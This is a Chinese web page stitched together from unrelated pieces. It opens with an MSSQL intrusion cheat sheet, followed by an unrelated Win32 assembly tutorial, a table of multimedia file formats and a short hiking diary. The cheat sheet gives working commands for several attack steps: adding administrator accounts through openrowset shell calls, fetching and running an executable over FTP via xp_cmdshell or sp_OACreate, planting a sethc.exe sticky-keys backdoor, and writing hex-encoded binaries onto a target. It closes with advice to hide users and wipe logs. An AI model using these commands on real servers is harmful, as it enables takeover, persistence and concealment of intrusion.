select * from openrowset(‘microsoft.jet.oledb.4.0’,’;database=iasdnary.mdb’,’select shell("net localgroup administrators 用户 /add")’)
=======================================================================
cmdshell模式FTP下载:
insert resultcmd_cc exec master..xp_cmdshell ‘cmd /c echo open FTP地址>sly.sys’
insert resultcmd_cc exec master..xp_cmdshell ‘cmd /c echo 123 >>sly.sys’
insert resultcmd_cc exec master..xp_cmdshell ‘cmd /c echo 123 >>sly.sys’
insert resultcmd_cc exec master..xp_cmdshell ‘cmd /c echo get 1433.exe sly.exe>>sly.sys’
insert resultcmd_cc exec master..xp_cmdshell ‘cmd /c echo bye >>sly.sys]’
insert resultcmd_cc exec master..xp_cmdshell ‘cmd /c ftp -s:sly.sys’
insert resultcmd_cc exec master..xp_cmdshell ‘cmd /c del sly.sys’
insert resultcmd_cc exec master..xp_cmdshell ‘cmd /c sly.exe’
=======================================================================
oacreate模式FTP下载:
DECLARE @s int EXEC sp_oacreate [wscript.shell], @s out
EXEC sp_oamethod @s,[run], NULL, [cmd /c echo open FTP地址>sly.sys]
EXEC sp_oamethod @s,[run], NULL, [cmd /c echo 123 >>sly.sys]
EXEC sp_oamethod @s,[run], NULL, [cmd /c echo 123 >>sly.sys]
EXEC sp_oamethod @s,[run], NULL, [cmd /c echo get 1433.exe sly.exe>>sly.sys]
EXEC sp_oamethod @s,[run], NULL, [cmd /c echo bye >>sly.sys]
EXEC sp_oamethod @s,[run], NULL, [cmd /c ftp -s:sly.sys]
EXEC sp_oamethod @s,[run], NULL, [cmd /c del sly.sys]
EXEC sp_oamethod @s,[run], NULL, [cmd /c sly.exe]
=======================================================================
不需要XP_CMDSHLL执行CMD命令
exec master.dbo.xp_regwrite ‘HKEY_LOCAL_MACHINE’,’SOFTWAREMicrosoftJet4.0Engines’,’SandBoxMode’,’REG_DWORD’,1
select * from openrowset(‘microsoft.jet.oledb.4.0’,’;database=c:winntsystem32iasias.mdb’,’select shell("cmd.exe /c net user 用户 密码 /add.")’)
exec master.dbo.xp_regwrite ‘HKEY_LOCAL_MACHINE’,’SOFTWAREMicrosoftJet4.0Engines’,’SandBoxMode’,’REG_DWORD’,1
select * from openrowset(‘microsoft.jet.oledb.4.0’,’;database=c:winntsystem32iasias.mdb’,’select shell("cmd.exe /c net localgroup administrators 用户 /add.")’)
=======================================================================
SQL Server 阻止了对组件 ‘Ole Automation Procedures’ 的 过程’sys.sp_OACreate’ 的访问
sp_configure ‘show advanced options’, 1;
GO
RECONFIGURE;
GO
sp_configure ‘Ole Automation Procedures’, 1;
GO
RECONFIGURE;
GO
=============================================
错误5是个系统提示的错误号,CreateProcess这个是创建线程的意思,这个错误产生和系统文件cmd.exe有很大的关系,一种情况是cmd被删除,一种是cmd的权限被降低了.
SQL查看终端端口及开放情况:
exec master..xp_regread ‘HKEY_LOCAL_MACHINE’,’SYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp’,’PortNumber’
好了,下面关键的地方了,要用到两条sql指令,将系统的explorer文件复制为系统的shift后门文件,下面两条语句为分别执行的,不可以放在一起执行,我是在sql tools 2.0工具里执行的,你也可以在分离器中执行,记得分别执行。
//这条语句将explorer.exe复制为sethc.exe
declare @o int exec sp_oacreate ‘scripting.filesystemobject’, @o out exec sp_oamethod @o, ‘copyfile’,null,’c:windowsexplorer.exe’,’c:windowssystem32sethc.exe’;
//这条语句将sethc.exe复制到dllcache目录下
declare @oo int exec sp_oacreate ‘scripting.filesystemobject’, @oo out exec sp_oamethod @oo, ‘copyfile’,null,’c:windowssystem32sethc.exe’,’c:windowssystem32dllcachesethc.exe’;
这个两条语句执行的时间间隔最好不超过10秒钟,否则系统会自动恢复原来的文件。
另外这两条语句使用到的sp_oacreate存储过程需要使用到odsole70.dll这个文件,所以这个文件的存亡,关系到创建的成功与否。
=======================================================================
删除:
use master
exec sp_dropextendedproc ‘xp_cmdshell’
exec sp_dropextendedproc ‘xp_dirtree’
exec sp_dropextendedproc ‘xp_enumgroups’
exec sp_dropextendedproc ‘xp_fixeddrives’
exec sp_dropextendedproc ‘xp_loginconfig’
exec sp_dropextendedproc ‘xp_enumerrorlogs’
exec sp_dropextendedproc ‘xp_getfiledetails’
exec sp_dropextendedproc ‘Sp_OACreate’
exec sp_dropextendedproc ‘Sp_OADestroy’
exec sp_dropextendedproc ‘Sp_OAGetErrorInfo’
exec sp_dropextendedproc ‘Sp_OAGetProperty’
exec sp_dropextendedproc ‘Sp_OAMethod’
exec sp_dropextendedproc ‘Sp_OASetProperty’
exec sp_dropextendedproc ‘Sp_OAStop’
exec sp_dropextendedproc ‘Xp_regaddmultistring’
exec sp_dropextendedproc ‘Xp_regdeletekey’
exec sp_dropextendedproc ‘Xp_regdeletevalue’
exec sp_dropextendedproc ‘Xp_regenumvalues’
exec sp_dropextendedproc ‘Xp_regread’
exec sp_dropextendedproc ‘Xp_regremovemultistring’
exec sp_dropextendedproc ‘Xp_regwrite’
drop procedure sp_makewebtask
go
———————————————————————————-
———————-
–列出当前计算机名称–
———————-
execute master..xp_getnetname
——————————–
-列出当前计算机的驱动器可用空间-
——————————–
execute master..xp_fixeddrives
========================
==列出服务器所有本地组==
========================

execute master..xp_enumgroups
======================
==获取MS SQL的版本号==
======================
execute master..sp_msgetversion
=========================================
==参数说明:目录名,目录深度,是否显示文件==
=========================================
execute master..xp_dirtree ‘c:’
execute master..xp_dirtree ‘c:’,1
execute master..xp_dirtree ‘c:’,1,1
——————————————————————————————————–
sql2005
恢复xp_cmdshell
EXEC sp_configure ‘show advanced options’, 1;RECONFIGURE;EXEC sp_configure ‘xp_cmdshell’, 1;RECONFIGURE;
关闭:
EXEC sp_configure ‘show advanced options’, 1;RECONFIGURE;EXEC sp_configure ‘xp_cmdshell’, 1;RECONFIGURE;
————————————————————————————————————-
把要转的文件拖到脚本上去, 就会生成包含HEX代码的文本.
然后用以下方法写入到对方计算机中。DECLARE @ObjectToken INT
EXEC sp_OACreate ‘ADODB.Stream’, @ObjectToken OUTPUT
EXEC sp_OASetProperty @ObjectToken, ‘Type’, 1
EXEC sp_OAMethod @ObjectToken, ‘Open’
EXEC sp_OAMethod @ObjectToken, ‘Write’, NULL, 0x123456(其中0x123456为HEX内容)
EXEC sp_OAMethod @ObjectToken, ‘SaveToFile’, NULL, ‘Test.exe(文件名)’, 2
EXEC sp_OAMethod @ObjectToken, ‘Close’
EXEC sp_OADestroy @ObjectToken
复制代码写入之后, 就发挥你的办法去执行你写入的这个文件就OK了
FILE2HEX.VBS
On Error Resume Next
FilePath = Wscript.Arguments(0)
FieName = Right(FilePath, Len(FilePath) - InStrRev(FilePath, ""))
With CreateObject("Adodb.Stream")
.Type = 1: .open: .loadfromfile FilePath: Str = .read: Sl = LenB(Str)
End With

Sll = Sl Mod 65536: Slh = Sl 65536
With CreateObject("Scripting.FileSystemObject").OpenTextFile(FilePath & ".txt", 2, True)
.Write "0x"
For i = 1 To Sl
bt = AscB(MidB(Str, i, 1))
If bt < 16 Then .Write "0"
.Write Hex(bt)
Next
End With

进去服务器后,创建隐藏用户。防止后门,清理日志,走人。。
嘿嘿,最后嘱咐一下,缺德的时候别多做。。看看就行,,

win32汇编快速入门

汇编可以开发WINDOWS程序?答案是肯定的,用WIN32汇编语言开发出来的WINDOWS程序具有执行效率高、占用空间小等特点。

一、开发工具下载与安装  在众多WIN32汇编开发工具中,MASM32笔者比较偏爱,它具有很多代码示例和丰富的开发资源,在下列下载地址中选择一个地址下载 MASM32。
http://www.pediy.com/tools/Compilers.htm二、知识预备  1、寄存器   为了提高运算速度和数据的存取速度,在计算机的CPU内,有一组硬件装置,第一个装置内存放CPU运算需要的 数,这些数值可供CPU直接存取,这组装置叫寄存器。寄存器分为通用寄存器、段寄存器、程序指针寄存器、标志寄存器。   编程最常用就是通用寄存器,常用的通用寄存器有eax,ebx,ecx,edx,esi,edi等等,现代计算机的CPU一般是以32位 为单位进行运算,因此一个寄存器最大能存放32位的二进制数。每个寄存器通常都有它默认的用法,所谓默认只是一种编程的习惯,你可以不遵守这些用法,但是 有些情况下必须遵守,因为我们开发的是WINDOWS程序,要遵守WINDOWS操作系统的规定和汇编语法本身的约束,比如调用一个WINDOWSAPI 函数,返回值放在EAX,堆栈的栈顶地址在esp,在汇编语言的循环中,ECX内存放循环的次数。具体寄存器的使用会在以后介绍。  2、堆栈   堆栈是个非常古老的概念,在DOS时代就有了,也是个非常重要的东西,程序没了它就活不了,堆栈就是在内存里分 配一个区域,使用这个区域必须遵守一个规定:后进先出,后进来的先出去,可以把它想像成一个空木箱,首先往里面放棉衣,然后往里面放书,最后放上运动服。 如果要取出书,必须得把最后放上的运动服取出,放的顺序是棉衣->书->运动服,取的顺序是运动服->书->棉衣,堆栈也是如 此。   先解释一下什么是地址,内存价格的便宜和内存容量的扩大,WINDOWS虚拟内存早已出现,内存中放着众多的数据,必须要有方法表示内存 某个地点,这个地点就用地址来表示。把内存以字节为单位划分,某个地址表示某个字节的地址,如左下图是一个内有4个成员的堆栈,堆栈里的成员以一个字节为 单位(数的右边标明了以十六进制表示的地址,如1001)+--+|AF|   地址:AF21+--+|03|   地址:AF20+--+|30|   地址:AF19+--+|F1|   地址:AF18+--+   堆栈是向下增长的,每增加一个成员,栈顶(堆栈顶部的地址)的地址减1,对于这个堆栈,栈顶地址是AF18,如果 再往这个堆栈里增加一个成员的话,它的地址是:AF18-1=AF17。如果往这个堆栈里增加一个32位的数,栈顶的地址是多少呢,32位的数占4个成员 的位置,栈顶的地址为:AF18-4=AF14。  在这个堆栈中增加一个32位数DAB0CD90,新的堆栈如下:+--+|AF|   地址:AF21+--+|03|   地址:AF20+--+|30|   地址:AF19+--+|F1|   地址:AF18+--+ |DA|   地址:AF17+--+|B0|   地址:AF16+--+|CD|   地址:AF15+--+|90|   地址:AF14+--+    如果从堆栈里拿走一个32位数,则栈顶的地址为:AF14+4=AF18三、WIN32汇编语言的语法   为了方便大家理解和入门,下面尽量使用宏汇编和伪指令地方进行描述,也正因为有了宏汇编和伪指令的帮助,WIN32汇编才具有很多高级语言的特性,很多 语法和C差不多。  1、WIN32汇编程序基本结构   .386   .MODEL Flat,STDCALL   .DATA     初始化值的全局变量定义   .DATA?     未初始化值的全局变量定义   .CONST     常量定义   .CODE    ..............    ...............        程序入口LABEL     ............     ............    end程序入口LABEL2、变量定义   (1)定义全局变量   全局变量定义在.data和.data?内,   初始化变量的定义方式如下:   .data   变量名  类型  初始值1,初始值2,.......   变量名  类型  重复次数dup(初始值1,初始值2,....)       注意:如果用?表示初始值的话,则表示0      未初始化变量的定义方式是   .data?    变量名  类型 ?    (2)条件测试语句   (A)基本结构    .IF条件       程序代码    [.ELSEIF]条件比较      程序代码      .......   [.ELSE]       程序代码    .ENDIF   (3)操作符   (A)比较操作符    == 相等   !=  不等于   >   大于    >=  大于或等于   <   小于    <=  小于或等于   &   位测试    !  逻辑非   &&  逻辑与   ||  逻辑或   (B)位操作符    AND按位与   OR  按位或   XOR 异或    SHL逻辑左移    SHR逻辑右移   (C)标志寄存器操作符    CARRY?是否进位   OVERFLOW? 是否溢出   PARITY?  奇偶位是否置位   SIGN?   符号位标志位是否被置位   ZERO?   零位标志位是否置位   (4)循环语句  (A)while语句  while 条件    ..........    ..........   [.break[.if 退出条件]]   [.contine[.if 退出条件]]]  .end(B)repeat语句.repeat.....................[.break[.if 退出条件]][.contine[.if 退出条件]]].until 条件(或.untilcxz [条件])(5)子程序定义1、定义子程序名 proc [距离][语言类型][可视区域][USERS 寄存器列表][,参数:类型]...[VARARG]local 局部变量列表............................................子程序名 endp2、如果在未定义前使用,要声明、函数名 proto [距离][语言][参数1]:数据类型,[参数2]:数据类型,...............(6)数据结构(A)声明wndclass struct...............wndclass ends(B)定义mystruct wndclass<1,1,...,1>mystruct wndclass <>(C)使用mov eax,mystruct.lpfnwndproc mov esi,offset mystructassume esi: ptr WNDCLASSmov eax,[esi].lpfnwndproc .......assume esi:nothing四、在WIN32汇编中的使用WINDOWS API  WIN32汇编如果没有API的帮助无法实现很多功能,笔者没见过在WIN32汇编程序不调用API的。  调用API实际上是靠堆栈来完成参数传递的,既然是堆栈,那就要遵守后进先出的原则,这意味API的第一个参数是最后一个放入堆栈的,最后 一个参数是第一个放入堆栈的。     调用方式如下:push 参数n..........  push 参数2p ush 参数1call API函数名  为了简化代码,也可以使用以下这种方式调用APIinvoke API函数名,参数1,参数2,.....,参数n

常见多媒体素材的格式和特点

常见多媒体素材的格式和特点

(一)图片

     几种常见的图片存储格式及特点。

格式

特点

BMP

无压缩,不会丢失图像的任何细节,但是占用的存储空间大

JPG(JPEG)

一种常用的压缩格式,占用的存储空间小

GIF

颜色的失真度较大,有动态和静态两种

WMF

微软公司自定的矢量图格式,OFFICE剪辑 库中的图形就是以这种格式保存的

     常用的图形软件有:ACDSee、PhotoShop等。

(二) 声音

   几种常见的声音存储格式及特点。

格式

特点

WAV

无压缩,音质最好,但占用的存储空间大

MIDI

电脑音乐的统称,占用的存储空间很小

MP3

将WAV压缩后的一种音乐格式,占用空间小, 声音质量高

WMA

微 软公司的一种声音格式,占用空间比MP3小,且声音质量很高

  常用的播放声音的软件有:Windows Media Player、Winamp、豪杰超级解霸等

(三)视频和动画

    几种常见的视频和动画的存储格式及特点。

格式

特点

AVI

由视频和音频两部分组成,无压缩,高质量,但占用存储空间大

RM

质量不高,占用空间小,一般用于低速网上实时传 输音频和视频信息的压缩格式

DAT

VCD影碟中的视频文件

SWF

Flash动画,占用的空间小

  常用的视频播放软件有:豪杰超级解霸、Realone Player、Windows Media Player、Flash Player等

一览众山小的感觉

今天学校挺电了,学校组织去外出活动,去爬山啦。那感觉让我悟出了很多道理。
当你一览众山小的时候,你必须付出努力和代价。
要想一览众山小你必须有这么多条件,就总结一下几点。
1.有一个快速上的好路。
2.有一个坚强的信念。
3.有一个体力充沛的身体。
4.有前期的准备。
生活和爬山一样,有些是先天的因素,有些是后期的准备。
本来有许多话呢,不知道说什么好了。有些东西就让它记在心中吗、